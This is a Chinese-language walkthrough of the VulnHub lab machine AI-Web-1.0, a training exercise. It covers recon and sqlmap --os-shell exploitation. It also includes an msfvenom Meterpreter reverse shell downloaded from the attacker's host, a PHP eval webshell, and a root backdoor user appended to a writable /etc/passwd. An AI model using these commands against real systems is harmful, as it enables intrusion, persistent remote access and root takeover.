vulnhub之AI-Web-1.0
一、信息收集
1.主机发现
nmap 172.25.0.0-255
发现了靶机IP:172.25.0.13
2.端口扫描
nmap -A -sS -sV -Pn -O -p- 172.25.0.13
发现80端口是开放的。
3.目录扫描
sudo dirb http://172.25.0.13/
发现了robots.txt文件
 
在对其进行目录二次扫描,发现了sql注入
http://172.25.0.13/se3reTdir777/#

还发现了phpinfo
http://172.25.0.13//m3diNf0//info.php

二、漏洞发现 & 漏洞利用
1.sql的报错注入到getshell
1.因为我们想要的是getshell,直接上sqlmap试试
sudo python /usr/bin/sqlmap -r sql.txt --data=uid=1 --os-shell
中途需要需要输入🐴儿的类型,因为这里是PHP搭建的站,我们选择4

2.寻找绝对路径,就从前面的phpinfo里面寻找答案

 从上面的phpinfo里面可以看出,网站的根目录是
/home/www/html/web1x443290o2sdf92213 
有根据目录扫描的结果,看到了uploads
/m3diNf0/
/se3reTdir777/uploads/

 我们推测其绝对路径为
/home/www/html/web1x443290o2sdf92213/se3reTdir777/upload/
虽然说是推测,但是这里的绝对路径的寻找,中途填了好多的坑

最后,成功getshell
 
2.🐴儿上传及利用
1.本来我觉得linux的操作系统,直接上传msf生成的🐴儿,发现就算给了执行权限怎么也执行不了。
- 🐴儿的生成
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.8.0.70 LPORT=1234 -f elf > 1234.elf
- 🐴儿的上传
1.服务端开启HTTP服务
python3 -m http.server 8888
2.客服端下载🐴儿
curl -o mshell.elf http://10.8.0.70:8888/mshell.

 3.赋予🐴儿权限
chmod +x mshell.elf

4.本地最好监听
use exploit/multi/handler
set lhost 10.8.0.70
set lport 4444
set linux/x64/meterpreter/reverse_tcp
run

开始我还以为是我🐴儿生病了,跑不动,后面生成的🐴儿也跑不动。
3.小🐴拉大🐴
因为前面那个🐴可能太大了,拉不动,先整个小马玩玩
<?php eval($_POST['cmd']);?>

 还是使用上传大🐴的方式,传小🐴儿,这里不在赘述,直接上蚁剑连接

来到蚁剑的终端执行我们的大🐴儿
./mshell.elf

因为中途大🐴生病了,换了一个大🐴上去,成功反弹shell

三、提权
find / -user www-data 2>/dev/null/
发现了/etc/passwd属于www-data下的文件,因此,我们可以修改/etc/passwd下的文件,从而获取shell,前面已经测试了该操作系统的内核漏洞,我发现都没有已知漏洞。
 因为/etc/passwd下的密码是加密的,因此需要加密我们的密码
perl -le 'print crypt("password@123","addedsalt")
当然也可以换个密码,将用户和密码写入/etc/passwd
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

当我们想su时,报错了
su: must be run from a terminal

 上述报错意思是su这个命令必须运行在终端中,这个时候我们使用python将其转换为交互式
python -c 'import pty;pty.spawn("/bin/bash")'

切换至test用户,输入密码,直接获取root权限,成功获取flag
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} 

四、知识点总结
1.查找linux下某用户的所属文件
 
find / -user uname 2>/dev/null
2.使用perl进行加盐加密
perl -le 'print crypt("password@123","addedsalt")
3.使用python转交互式
python -c 'import pty;pty.spawn("/bin/bash")'



















